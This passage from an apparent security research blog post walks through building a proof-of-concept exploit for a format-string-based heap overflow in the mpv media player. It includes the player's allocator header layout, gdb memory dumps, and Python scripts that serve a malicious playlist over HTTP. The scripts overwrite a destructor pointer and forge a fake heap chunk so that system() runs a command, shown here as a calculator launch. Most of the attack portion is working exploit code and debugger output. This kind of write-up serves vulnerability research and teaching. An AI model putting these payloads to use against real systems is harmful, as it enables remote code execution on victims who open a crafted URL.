checks introduces two kind of vulnerabilities: a format string vulnerability as well as a heap overflow, which is based on the format string vulnerability.<\/p>\r\n\r\n\r\n\r\n<p>A format string vulnerability is usually a very powerful exploitation primitive. The combination of output padding (e.g. <span class=\"hl\">%1337d<\/span>) with the usage of the <span class=\"hl\">%n<\/span> format specifier can generally be used in order to write arbitrary values to memory. By <a href=\"https:\/\/devel0pment.de\/?p=1881#shellcode\" rel=\"noopener noreferrer\" target=\"_blank\">leveraging the dynamic field width<\/a> it might even be possible to bypass ASLR in an one-shot exploit. Though in this case the impact of the format string vulnerability is limited on Linux, because the binary is compiled with <span class=\"hl\">FORTIFY_SOURCE<\/span> by default. Because of this the call to <span class=\"hl\">sprintf<\/span> is replaced with a call to <span class=\"hl\">__sprintf_chk<\/span>, which terminates the program if a <span class=\"hl\">%n<\/span> format specifier is used within a format string in writable memory (<span class=\"hl\">*** %n in writable segment detected ***<\/span>). In order to determine this <span class=\"hl\">__sprintf_chk<\/span> parses the output of <span class=\"hl\">\/proc\/self\/maps<\/span>. From a security perspective this is a good trade-off: the <span class=\"hl\">%n<\/span> can still be used in static (read-only) strings, but the primary exploitation technique (using <span class=\"hl\">%n<\/span> in a writable format string) is eliminated. From an exploitation development perspective this is bad: we cannot use the format string vulnerability to write to memory. This limits it to the ability to leak memory addresses, which is quite useless considering the assumed attack vector, where a victim is lured into opening a malicious URL. For a remote attacker it is not of any use, if a few leaked addresses pop up in the victims shell. On Windows the situation is a little bit different, but we will focus on Linux for now.<\/p>\r\n\r\n\r\n\r\n<p>Here we are left with the heap overflow, which is based on the format string vulnerability and can be provoked by using padded format specifiers. A heap overflow introduces a huge amount of exploitation possibilities, but is very dependent on the concrete context. In some situations even a single null byte overflow can be used to gain arbitrary code execution by <a href=\"https:\/\/devel0pment.de\/?p=688\" rel=\"noopener noreferrer\" target=\"_blank\">corrupting the heap meta data<\/a>.<\/p>\r\n\r\n\r\n\r\n<p>For the development of this proof of concept exploit I am using <span class=\"hl\">mpv 0.33.0<\/span> on <span class=\"hl\">Ubuntu 20.04.2 LTS<\/span> with <span class=\"hl\">GLIBC 2.31-0ubuntu9.2<\/span> and <span class=\"hl\">ASLR<\/span> disabled.<\/p>\r\n\r\n\r\n\r\n<p>We have already seen that mpv seems to use some custom allocation mechanisms, since the chunk for the format string was not allocated using a plain <span class=\"hl\">malloc<\/span>, but rather the custom function <span class=\"hl\">talloc_size<\/span>. The allocator used here is called <span class=\"hl\">Tree Allocator<\/span>, which core is implemented in <a href=\"https:\/\/github.com\/mpv-player\/mpv\/blob\/v0.33.0\/ta\/ta.c\" rel=\"noopener noreferrer\" target=\"_blank\">ta.c<\/a>. More details can be found <a href=\"https:\/\/github.com\/mpv-player\/mpv\/tree\/v0.33.0\/ta\" rel=\"noopener noreferrer\" target=\"_blank\">here<\/a>. Basically the idea is to not only have independently allocated chunks, but a tree structure of allocated chunks. For this purpose each chunk is proceeded by a header struct called <span class=\"hl\">ta_header<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstruct ta_header {\r\n    size_t size;                \/\/ size of the user allocation\r\n    \/\/ Invariant: parent!=NULL =&gt; prev==NULL\r\n    struct ta_header *prev;     \/\/ siblings list (by destructor order)\r\n    struct ta_header *next;\r\n    \/\/ Invariant: parent==NULL || parent-&gt;child==this\r\n    struct ta_header *child;    \/\/ points to first child\r\n    struct ta_header *parent;   \/\/ set for _first_ child only, NULL otherwise\r\n    <span class=\"hl2\">void (*destructor)(void *);<\/span>\r\n#if TA_MEMORY_DEBUGGING\r\n    unsigned int canary;\r\n    struct ta_header *leak_next;\r\n    struct ta_header *leak_prev;\r\n    const char *name;\r\n#endif\r\n};\r\n<\/code>\r\n\r\n\r\n\r\n<p>What is really eye-catching here from an exploitation point of view is the <span class=\"hl\">destructor<\/span> function pointer. Having a function pointer on the heap possibly enables the ability to leverage the heap overflow vulnerability in order to overflow into an adjacent chunk overwriting this function pointer. When the program calls the <span class=\"hl\">destructor<\/span> function for this specific chunk without crashing beforehand, we gain code execution.<\/p>\r\n\r\n\r\n\r\n<p>In the above <span class=\"hl\">ta_header<\/span> struct we can also see, that there is a <span class=\"hl\">canary<\/span> member if <span class=\"hl\">TA_MEMORY_DEBUGGING<\/span> is enabled, which is the case by default. Though the purpose of this canary is to prevent software bugs rather than being an exploitation mitigation. Accordingly the canary is always set to the static value <span class=\"hl\">0xD3ADB3EF<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\n#define CANARY 0xD3ADB3EF\r\n...\r\n\r\nstatic void ta_dbg_add(struct ta_header *h)\r\n{\r\n    h-&gt;canary = CANARY;\r\n    ...\r\n<\/code>\r\n\r\n\r\n\r\n<p>My first approach was to simply follow the before mentioned strategy: overflow into an adjacent chunk and overwrite the <span class=\"hl\">destructor<\/span> function pointer. At first we need to determine where the <span class=\"hl\">destructor<\/span> function is called from. This leads us to the function <span class=\"hl\">ta_free<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\nvoid ta_free(void *ptr)\r\n{\r\n    struct ta_header *h = <span class=\"hl2\">get_header(ptr)<\/span>;\r\n    if (!h)\r\n        return;\r\n    <span class=\"hl2\">if (h-&gt;destructor)\r\n        h-&gt;destructor(ptr);<\/span>\r\n    ta_free_children(ptr);\r\n    ta_set_parent(ptr, NULL);\r\n    ta_dbg_remove(h);\r\n    free(h);\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>The logic is straightforward: if the <span class=\"hl\">destructor<\/span> is set (not <span class=\"hl\">NULL<\/span>), it is called with the first argument being the chunk pointer to be free&#8217;d (<span class=\"hl\">ptr<\/span>). Beforehand (in the first line) <span class=\"hl\">get_header<\/span> is called to get the pointer to the <span class=\"hl\">ta_header<\/span> struct. Within <span class=\"hl\">get_header<\/span> an additional function named <span class=\"hl\">ta_dbg_check_header<\/span> is called:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstatic struct ta_header *get_header(void *ptr)\r\n{\r\n    struct ta_header *h = ptr ? PTR_TO_HEADER(ptr) : NULL;\r\n    <span class=\"hl2\">ta_dbg_check_header(h);<\/span>\r\n    return h;\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>This function validates the chunk by comparing the <span class=\"hl\">canary<\/span> value and checking the integrity of the <span class=\"hl\">parent<\/span> pointer:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstatic void ta_dbg_check_header(struct ta_header *h)\r\n{\r\n    if (h) {\r\n        assert(h-&gt;canary == CANARY);\r\n        if (h-&gt;parent) {\r\n            assert(!h-&gt;prev);\r\n            assert(h-&gt;parent-&gt;child == h);\r\n        }\r\n    }\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>We need to keep this in mind when crafting our exploit.<\/p>\r\n\r\n\r\n\r\n<p>At first we start to implement a little web-server, which only serves a playlist file (regardless of the request):<\/p>\r\n\r\n\r\n\r\n<code>\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.bind(('localhost', 7000))\r\ns.listen(5)\r\nc, a = s.accept()\r\n\r\nplaylist  = b'mf:\/\/'\r\nplaylist += b'A'*0x48\r\nplaylist += b'%d' # we need a '%' to reach vulnerable path\r\n\r\nd  = b'HTTP\/1.1 200 OK\\r\\n'\r\nd += b'Content-type: audio\/x-mpegurl\\r\\n'\r\nd += b'Content-Length: '+str(len(playlist)).encode()+b'\\r\\n'\r\nd += b'\\r\\n'\r\nd += playlist\r\n\r\nc.send(d)\r\nc.close()\r\n<\/code>\r\n\r\n\r\n\r\n<p>The script starts a listening socket on port <span class=\"hl\">7000<\/span> and answers to all connecting clients with a HTTP response containing a playlist file (<span class=\"hl\">Content-type: audio\/x-mpegurl<\/span>). The playlist in the body only contains a single entry: <span class=\"hl\">mf:\/\/AAAA&#8230;%d<\/span>. The <span class=\"hl\">%<\/span> is necessary to reach the <span class=\"hl\">__sprintf_chk<\/span> call. The amount of <span class=\"hl\">A<\/span>s (<span class=\"hl\">0x48<\/span>) is used to adjust the size of the filename. This is relevant, because depending on the size of the filename, the allocated chunk ends up in different heap locations. If we for example only use <span class=\"hl\">mf:\/\/AAAA%d<\/span> the call to <span class=\"hl\">ta_alloc_size<\/span> requests a smaller chunk for the destination buffer, which will be served from a different location in the heap. Using <span class=\"hl\">&#8216;mf:\/\/&#8217; + &#8216;A&#8217;*0x48 + &#8216;%d&#8217;<\/span> turned out to end up in a suitable heap location. Let&#8217;s start gdb again, set a breakpoint on the <span class=\"hl\">__sprintf_chk<\/span> call and try to open the playlist:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">b *open_mf_pattern+559<\/span>\r\nBreakpoint 1 at 0x5a3cf: file \/usr\/include\/x86_64-linux-gnu\/bits\/stdio2.h, line 36.\r\ngdb-peda$ r http:\/\/localhost:7000\/x.m3u\r\nStarting program: \/home\/user\/opt\/mpv\/build\/mpv http:\/\/localhost:7000\/x.m3u\r\n...\r\n[-------------------------------------code-------------------------------------]\r\n   0x5555555ae3c0 &lt;open_mf_pattern+544&gt;:\tmov    rdx,0xffffffffffffffff\r\n   0x5555555ae3c7 &lt;open_mf_pattern+551&gt;:\tmov    esi,0x1\r\n   0x5555555ae3cc &lt;open_mf_pattern+556&gt;:\tadd    ebx,0x1\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n   0x5555555ae3d7 &lt;open_mf_pattern+567&gt;:\tcall   0x5555555e9b60 &lt;mp_path_exists&gt;\r\n   0x5555555ae3dc &lt;open_mf_pattern+572&gt;:\ttest   al,al\r\n   0x5555555ae3de &lt;open_mf_pattern+574&gt;:\tje     0x5555555ae390 &lt;open_mf_pattern+496&gt;\r\nGuessed arguments:\r\n<span class=\"hl2\">arg[0]: 0x7fffe400e930 --&gt; 0x55555572bba0 --&gt; 0x0 <\/span>\r\narg[1]: 0x1 \r\narg[2]: 0xffffffffffffffff \r\narg[3]: 0x7fffe408f695 ('A' &lt;repeats 72 times&gt;, \"%d\")\r\narg[4]: 0x0 \r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>We hit the breakpoint. The destination of <span class=\"hl\">__sprintf_chk<\/span>, which is the chunk allocated by <span class=\"hl\">ta_alloc_size<\/span> is located at <span class=\"hl\">0x7fffe400e930<\/span> (first parameter). This address references the actual data of the allocated chunk. In order to see the <span class=\"hl\">ta_header<\/span> before it, we need to substract <span class=\"hl\">0x50<\/span> from this address:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ x\/70xg 0x7fffe400e930-0x50\r\n0x7fffe400e8e0:\t0x000000000000006a\t0x0000000000000000\t&lt;-- [     size    |    prev     ]\r\n0x7fffe400e8f0:\t0x0000000000000000\t0x0000000000000000\t&lt;-- [     next    |    child    ]\r\n0x7fffe400e900:\t0x00007fffe400d0a0\t0x0000000000000000\t&lt;-- [    parent   |  destructor ]\r\n0x7fffe400e910:\t0x00000000d3adb3ef\t0x0000000000000000\t&lt;-- [    canary   |  leak_next  ]\r\n0x7fffe400e920:\t0x0000000000000000\t0x0000555555666ccf\t&lt;-- [  leak_prev  |    name     ]\r\n0x7fffe400e930:\t0x000055555572bba0\t0x0000000000000009\t&lt;-- begin actual data ...\r\n0x7fffe400e940:\t0x00007fffe400d3f0\t0x0000000000000001\r\n0x7fffe400e950:\t0x0000000000000080\t0x0000000000000084\r\n0x7fffe400e960:\t0x00007fffe400dda0\t0x00007fffe40008d0\r\n0x7fffe400e970:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400e980:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400e990:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400e9a0:\t0x0000000000000000\t0x0000000000000031\r\n0x7fffe400e9b0:\t0x00007fffe4000080\t0x00007fffe4000080\r\n0x7fffe400e9c0:\t0x0000000000000000\t0x000000810000ac44\r\n0x7fffe400e9d0:\t0x0000000000000030\t0x00000000000000f4\r\n0x7fffe400e9e0:\t0x00007fffe400f240\t0x00005555556ec010\r\n0x7fffe400e9f0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400ea00:\t0x0000000000000000\t0x00005555555d92e0\r\n0x7fffe400ea10:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400ea20:\t0x0000000000000000\t0x0000555555670d90\r\n0x7fffe400ea30:\t0x00007fffe400f290\t0x0000000000000000\r\n0x7fffe400ea40:\t0x0000000000000000\t0x000055555572bba0\r\n0x7fffe400ea50:\t0x00007fffe400ea58\t0x0000000000000000\r\n0x7fffe400ea60:\t0x00007fffe400e5c0\t0x000055555572c470\r\n0x7fffe400ea70:\t0x000055555572bba0\t0x0000002100000020\r\n0x7fffe400ea80:\t0x0000000000000000\t0xffffffff00000000\r\n0x7fffe400ea90:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400eaa0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400eab0:\t0x0000000000000000\t0x0000000000000000\r\n0x7fffe400eac0:\t0x0000000000000000\t0x0000000000000265\r\n<span class=\"hl2\">0x7fffe400ead0<\/span>:\t0x00000000000001f8\t0x00007fffe400cf50\t&lt;-- [     size    |    prev     ]\r\n0x7fffe400eae0:\t0x00007fffe400e6a0\t0x00007fffe400e7f0\t&lt;-- [     next    |    child    ]\r\n0x7fffe400eaf0:\t0x0000000000000000\t0x0000000000000000\t&lt;-- [    parent   |  destructor ]\r\n0x7fffe400eb00:\t0x00000000d3adb3ef\t0x0000000000000000\t&lt;-- [    canary   |  ...\r\n<\/code>\r\n\r\n\r\n\r\n<p>We can see that there is actually an adjacent chunk, which <span class=\"hl\">ta_header<\/span> struct begins at <span class=\"hl\">0x7fffe400ead0<\/span>.<\/p>\r\n\r\n\r\n\r\n<p>Our next goal is to overwrite the <span class=\"hl\">destructor<\/span> pointer of this adjacent chunk. We also need to ensure that we bypass the check within <span class=\"hl\">ta_dbg_check_header<\/span> mentioned before:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstatic void ta_dbg_check_header(struct ta_header *h)\r\n{\r\n    if (h) {\r\n        assert(h-&gt;canary == CANARY);\r\n        if (h-&gt;parent) {\r\n            assert(!h-&gt;prev);\r\n            assert(h-&gt;parent-&gt;child == h);\r\n        }\r\n    }\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>The <span class=\"hl\">canary<\/span> value is not a problem, because it is located after the <span class=\"hl\">destructor<\/span> pointer. Though we need to set the <span class=\"hl\">parent<\/span> to <span class=\"hl\">NULL<\/span>, in order to prevent the assertion checks within the inner if statement.<\/p>\r\n\r\n\r\n\r\n<p>This can be satisfied by using the following URL:<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\nplaylist  = b'mf:\/\/'\r\nplaylist += b'A'*0x18\r\nplaylist += b'%422c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\\xef\\xbe\\xad\\xde'\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>The <span class=\"hl\">b&#8217;A&#8217;*0x18<\/span> ensures that the size of the filename stays the same so that we end up in the desired heap location. The first padded format specifier <span class=\"hl\">%422c<\/span> provokes the heap overflow and ensures that the following data ends up at the correct location within the <span class=\"hl\">ta_header<\/span> of the adjacent chunk. The purpose of the two following <span class=\"hl\">%c<\/span> is just to skip to an argument, which value is <span class=\"hl\">0<\/span>. This is the case for the fourth argument as we can see on the call to <span class=\"hl\">__sprintf_chk<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\nR8 : 0x0 \t&lt;-- 1st argument (will change due to the for loop)\r\nR9 : 0x4 \t&lt;-- 2nd argument\r\n...\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n...\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0x7fffebcaee00 --&gt; 0x7fffebcaf0df --&gt; 0x5555556b95a000 \t&lt;-- 3rd argument\r\n<span class=\"hl2\">0008| 0x7fffebcaee08 --&gt; 0x0 \t\t\t\t\t&lt;-- 4th argument<\/span>\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>On the first call to <span class=\"hl\">__sprintf_chk<\/span> the first argument is <span class=\"hl\">0<\/span> too, but this will change on the next loop iteration. The fourth argument stays <span class=\"hl\">0<\/span> throughout the loop, so we use this.<\/p>\r\n\r\n\r\n\r\n<p>Next within the URL is <span class=\"hl\">%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c<\/span>, which writes eight null bytes (<span class=\"hl\">0x0000000000000000<\/span>) to the destination. These will end up in the <span class=\"hl\">parent<\/span> pointer of the adjacent chunk. After this follows <span class=\"hl\">\\xef\\xbe\\xad\\xde<\/span>, which will write the value <span class=\"hl\">0xdeadbeef<\/span> to the <span class=\"hl\">destructor<\/span> pointer:<\/p>\r\n\r\n\r\n\r\n<code>\r\nstruct ta_header {\r\n...\r\n    struct ta_header *parent;\t\/\/ &lt;-- 0x0000000000000000\r\n    void (*destructor)(void *);\t\/\/ &lt;-- 0xdeadbeef\r\n...\r\n};\r\n<\/code>\r\n\r\n\r\n\r\n<p>Let&#8217;s rerun the web-server with the adjusted URL and open it with mpv:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">r http:\/\/localhost:7000\/x.m3u<\/span>\r\nStarting program: \/home\/user\/opt\/mpv\/build\/mpv http:\/\/localhost:7000\/x.m3u\r\n...\r\n[-------------------------------------code-------------------------------------]\r\n   0x5555555ae3c0 &lt;open_mf_pattern+544&gt;:\tmov    rdx,0xffffffffffffffff\r\n   0x5555555ae3c7 &lt;open_mf_pattern+551&gt;:\tmov    esi,0x1\r\n   0x5555555ae3cc &lt;open_mf_pattern+556&gt;:\tadd    ebx,0x1\r\n<span class=\"hl2\">=&gt; 0x5555555ae3cf &lt;open_mf_pattern+559&gt;:\tcall   0x5555555867c0 &lt;__sprintf_chk@plt&gt;<\/span>\r\n   0x5555555ae3d4 &lt;open_mf_pattern+564&gt;:\tmov    rdi,r13\r\n   0x5555555ae3d7 &lt;open_mf_pattern+567&gt;:\tcall   0x5555555e9b60 &lt;mp_path_exists&gt;\r\n   0x5555555ae3dc &lt;open_mf_pattern+572&gt;:\ttest   al,al\r\n   0x5555555ae3de &lt;open_mf_pattern+574&gt;:\tje     0x5555555ae390 &lt;open_mf_pattern+496&gt;\r\nGuessed arguments:\r\narg[0]: 0x7fffe400e930 --&gt; 0x55555572bba0 --&gt; 0x0 \r\narg[1]: 0x1 \r\narg[2]: 0xffffffffffffffff \r\narg[3]: 0x7fffe408f695 ('A' &lt;repeats 24 times&gt;, \"%422c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\", &lt;incomplete sequence \\336&gt;)\r\narg[4]: 0x0 \r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>At this point we are right before the call to <span class=\"hl\">__sprintf_chk<\/span> and the adjacent chunk is still untouched:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ x\/10xg 0x7fffe400ead0\r\n0x7fffe400ead0:\t0x00000000000001f8\t0x00007fffe400cf50\t&lt;-- [     size    |    prev     ]\r\n0x7fffe400eae0:\t0x00007fffe400e6a0\t0x00007fffe400e7f0\t&lt;-- [     next    |    child    ]\r\n0x7fffe400eaf0:\t0x0000000000000000\t0x0000000000000000\t&lt;-- [    parent   |  destructor ]\r\n0x7fffe400eb00:\t0x00000000d3adb3ef\t0x0000000000000000\t&lt;-- [    canary   |  leak_next  ]\r\n0x7fffe400eb10:\t0x0000000000000000\t0x0000555555664822\t&lt;-- [  leak_prev  |    name     ]\r\n<\/code>\r\n\r\n\r\n\r\n<p>If we now step to the next instruction, <span class=\"hl\">__sprintf_chk<\/span> is called with our format string and the overflow is triggered:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">ni<\/span>\r\n...\r\ngdb-peda$ x\/10xg 0x7fffe400ead0\r\n0x7fffe400ead0:\t<span class=\"hl2\">0x2020202020202020\t0x2020202020202020<\/span>\t&lt;-- [     size    |    prev     ]\r\n0x7fffe400eae0:\t<span class=\"hl2\">0x2020202020202020\t0xdf04002020202020<\/span>\t&lt;-- [     next    |    child    ]\r\n0x7fffe400eaf0:\t<span class=\"hl2\">0x0000000000000000\t0x00000000deadbeef<\/span>\t&lt;-- [    parent   |  destructor ]\r\n0x7fffe400eb00:\t0x00000000d3adb3ef\t0x0000000000000000\t&lt;-- [    canary   |  leak_next  ]\r\n0x7fffe400eb10:\t0x0000000000000000\t0x0000555555664822\t&lt;-- [  leak_prev  |    name     ]\r\n<\/code>\r\n\r\n\r\n\r\n<p>The first members of the <span class=\"hl\">ta_header<\/span> are simply overwritten with <span class=\"hl\">0x20<\/span> bytes (space), because of the padding we used. Though these members are not relevant in order to reach the <span class=\"hl\">destructor<\/span> function call. The <span class=\"hl\">parent<\/span> member was successfully overwritten with <span class=\"hl\">0x0000000000000000<\/span> and the <span class=\"hl\">destructor<\/span> with <span class=\"hl\">0x00000000deadbeef<\/span>. If we continue the execution, we get a segmentation fault, which is caused by the <span class=\"hl\">RIP<\/span> being <span class=\"hl\">0xdeadbeef<\/span>:<\/p>\r\n\r\n\r\n\r\n<code>\r\ngdb-peda$ <span class=\"hl2\">c<\/span>\r\nContinuing.\r\n[mf] number of files: 0\r\n\r\nThread 4 \"mpv\/opener\" received signal <span class=\"hl2\">SIGSEGV, Segmentation fault.<\/span>\r\n[----------------------------------registers-----------------------------------]\r\nRAX: 0xdeadbeef \r\nRBX: 0x7fffe4001500 --&gt; 0x5555556b95a0 --&gt; 0x555555666d36 --&gt; 0x6567616d6900666d ('mf')\r\nRCX: 0x1 \r\nRDX: 0x0 \r\nRSI: 0x7fffe400cf50 --&gt; 0x0 \r\nRDI: 0x7fffe400eb20 --&gt; 0x7fffe400e6f0 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\nRBP: 0x7fffe400eb20 --&gt; 0x7fffe400e6f0 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\nRSP: 0x7fffebcaf0d8 --&gt; 0x55555565e40d (&lt;ta_free+45&gt;:\tmov    rdi,rbp)\r\n<span class=\"hl2\">RIP: 0xdeadbeef <\/span>\r\nR8 : 0x0 \r\nR9 : 0x1 \r\nR10: 0x1 \r\nR11: 0x0 \r\nR12: 0x7fffe400ead0 (\"        \")\r\nR13: 0x7fffe40016f0 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\nR14: 0x55555572b320 --&gt; 0x55555572b5d0 --&gt; 0x55555572b460 (0x000055555572b320)\r\nR15: 0x5555556b95a0 --&gt; 0x555555666d36 --&gt; 0x6567616d6900666d ('mf')\r\nEFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0xdeadbeef\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0x7fffebcaf0d8 --&gt; 0x55555565e40d (&lt;ta_free+45&gt;:\tmov    rdi,rbp)\r\n0008| 0x7fffebcaf0e0 --&gt; 0x7fffe40016f0 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\n0016| 0x7fffebcaf0e8 --&gt; 0x7fffe4001500 --&gt; 0x5555556b95a0 --&gt; 0x555555666d36 --&gt; 0x6567616d6900666d ('mf')\r\n0024| 0x7fffebcaf0f0 --&gt; 0x7fffe40014b0 --&gt; 0xf8 \r\n0032| 0x7fffebcaf0f8 --&gt; 0x55555565e5b9 (&lt;ta_free_children+41&gt;:\tmov    rdi,QWORD PTR [rbx-0x38])\r\n0040| 0x7fffebcaf100 --&gt; 0x7fffebcaf260 --&gt; 0xc2f000000 ('')\r\n0048| 0x7fffebcaf108 --&gt; 0x55555565e415 (&lt;ta_free+53&gt;:\tmov    rdi,rbp)\r\n0056| 0x7fffebcaf110 --&gt; 0x7fffe400eb20 --&gt; 0x7fffe400e6f0 --&gt; 0x55555572b460 --&gt; 0x55555572b320 --&gt; 0x55555572b5d0 (0x000055555572b460)\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n<span class=\"hl2\">Stopped reason: SIGSEGV\r\n0x00000000deadbeef in ?? ()<\/span>\r\n<\/code>\r\n\r\n\r\n\r\n<p>We successfully control the instruction pointer. Though the context is not very opportune. At this point we only control the <span class=\"hl\">RIP<\/span>, but no other registers. Since we are not directly interacting with the program, we cannot simply use a <span class=\"hl\">one_gadget<\/span>. My first idea was to find a gadget, which will change <span class=\"hl\">RSP<\/span> and <span class=\"hl\">R12<\/span>, because it seems that we can control the content the pointer in <span class=\"hl\">R12<\/span> is referencing (spaces from padding: <span class=\"hl\">&#8221;        &#8220;<\/span>). If <span class=\"hl\">RSP<\/span> would be set to this address, we could store a more complex ROP chain there. Nevertheless I didn&#8217;t find a suitable gadget.<\/p>\r\n\r\n\r\n\r\n<p>By reading the source code again I came up with another idea. Let&#8217;s have a look at <span class=\"hl\">ta_free<\/span> again:<\/p>\r\n\r\n\r\n\r\n<code>\r\nvoid ta_free(void *ptr)\r\n{\r\n    struct ta_header *h = get_header(ptr);\r\n    if (!h)\r\n        return;\r\n    if (h-&gt;destructor)\r\n        h-&gt;destructor(ptr);\r\n    <span class=\"hl2\">ta_free_children(ptr);<\/span>\r\n    ta_set_parent(ptr, NULL);\r\n    ta_dbg_remove(h);\r\n    free(h);\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>After the <span class=\"hl\">destructor<\/span> call the function <span class=\"hl\">ta_free_children<\/span> is called, which is obviously responsible for free&#8217;ing a child chunk. The function retrieves the <span class=\"hl\">child<\/span> pointer within the <span class=\"hl\">ta_header<\/span> and also passes it to <span class=\"hl\">ta_free<\/span>, if it is set:<\/p>\r\n\r\n\r\n\r\n<code>\r\nvoid ta_free_children(void *ptr)\r\n{\r\n    struct ta_header *h = get_header(ptr);\r\n    while (h &amp;&amp; h-&gt;child)\r\n        <span class=\"hl2\">ta_free(PTR_FROM_HEADER(h-&gt;child));<\/span>\r\n}\r\n<\/code>\r\n\r\n\r\n\r\n<p>This enables another strategy: instead of directly overwriting the <span class=\"hl\">destructor<\/span> pointer, we can overwrite the <span class=\"hl\">child<\/span> pointer with the address of a forged fake chunk. For this fake chunk we set the <span class=\"hl\">destructor<\/span> pointer to the function address of <span class=\"hl\">system<\/span> and store a command of our choice in the actual data. When <span class=\"hl\">ta_free<\/span> is called for this child, the <span class=\"hl\">ptr<\/span> points to the command. This <span class=\"hl\">ptr<\/span> is passed as the first argument to the <span class=\"hl\">destructor<\/span>, which is <span class=\"hl\">system<\/span>. This way we can run arbitrary commands through <span class=\"hl\">system<\/span>. This is very similar to a glibc heap exploit, where <span class=\"hl\">__free_hook<\/span> is set to <span class=\"hl\">system<\/span> and a chunk is free&#8217;d, which contains the command to be executed.<\/p>\r\n\r\n\r\n\r\n<p>Storing the fake chunk in the URL is not a very good option, because editing the URL also results in another allocation size. This possibly causes the chunk to end up in another heap location. Also we must use the format specifier <span class=\"hl\">%4$c<\/span> in order to write a single null byte. A more suitable place for the fake chunk is the HTTP response we send. We can simply insert a custom HTTP header, which is not evaluated by the target application and only serves the purpose of delivering our fake chunk to the memory of the application. The adjustments in the script look like this:<\/p>\r\n\r\n\r\n\r\n<code>\r\n...\r\n\r\nplaylist  = b'mf:\/\/'\r\nplaylist += b'%390c%c%c'\r\nplaylist += b'\\x58\\x1e%4$c\\xe4\\xff\\x7f' # overwriting child addr with fake child\r\n\r\nSYSTEM_ADDR = 0x7ffff5c37410\r\nCANARY      = 0xD3ADB3EF\r\n\r\nfake_chunk  = p64(0) # size\r\nfake_chunk += p64(0) # prev\r\nfake_chunk += p64(0) # next\r\nfake_chunk += p64(0) # child\r\nfake_chunk += p64(0) # parent\r\nfake_chunk += p64(SYSTEM_ADDR) # destructor\r\nfake_chunk += p64(CANARY) # canary\r\nfake_chunk += p64(0) # leak_next\r\nfake_chunk += p64(0) # leak_prev\r\nfake_chunk += p64(0) # name\r\n\r\nd  = b'HTTP\/1.1 200 OK\\r\\n'\r\nd += b'Content-type: audio\/x-mpegurl\\r\\n'\r\nd += b'Content-Length: '+str(len(playlist)).encode()+b'\\r\\n'\r\nd += b'PL: '\r\nd += fake_chunk\r\nd += b'gnome-calculator\\x00'\r\nd += b'\\r\\n'\r\nd += b'\\r\\n'\r\nd += playlist\r\n...\r\n<\/code>\r\n\r\n\r\n\r\n<p>The padding has changed to <span class=\"hl\">%390c<\/span>, since we are now targeting the <span class=\"hl\">child<\/span> member of the <span class=\"hl\">ta_header<\/span>. This pointer is overwritten with the static address <span class=\"hl\">0x7fffe4001e58<\/span> (ASLR is disabled!), which references the fake chunk stored in the HTTP response. The <span class=\"hl\">destructor<\/span> of the fake chunk is set to <span class=\"hl\">system<\/span>. Also <span class=\"hl\">canary<\/span> is set to the required value <span class=\"hl\">0xD3ADB3EF<\/span> (this is important for the validation check within <span class=\"hl\">ta_dbg_check_header<\/span>). The command to be executed is set to <span class=\"hl\">gnome-calculator<\/span> to spawn a calculator.<\/p>\r\n\r\n\r\n\r\n<p>In order to trigger the exploit, we run the payload serving script and start mpv with the malicious playlist URL:<\/p>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image size-large\"><img 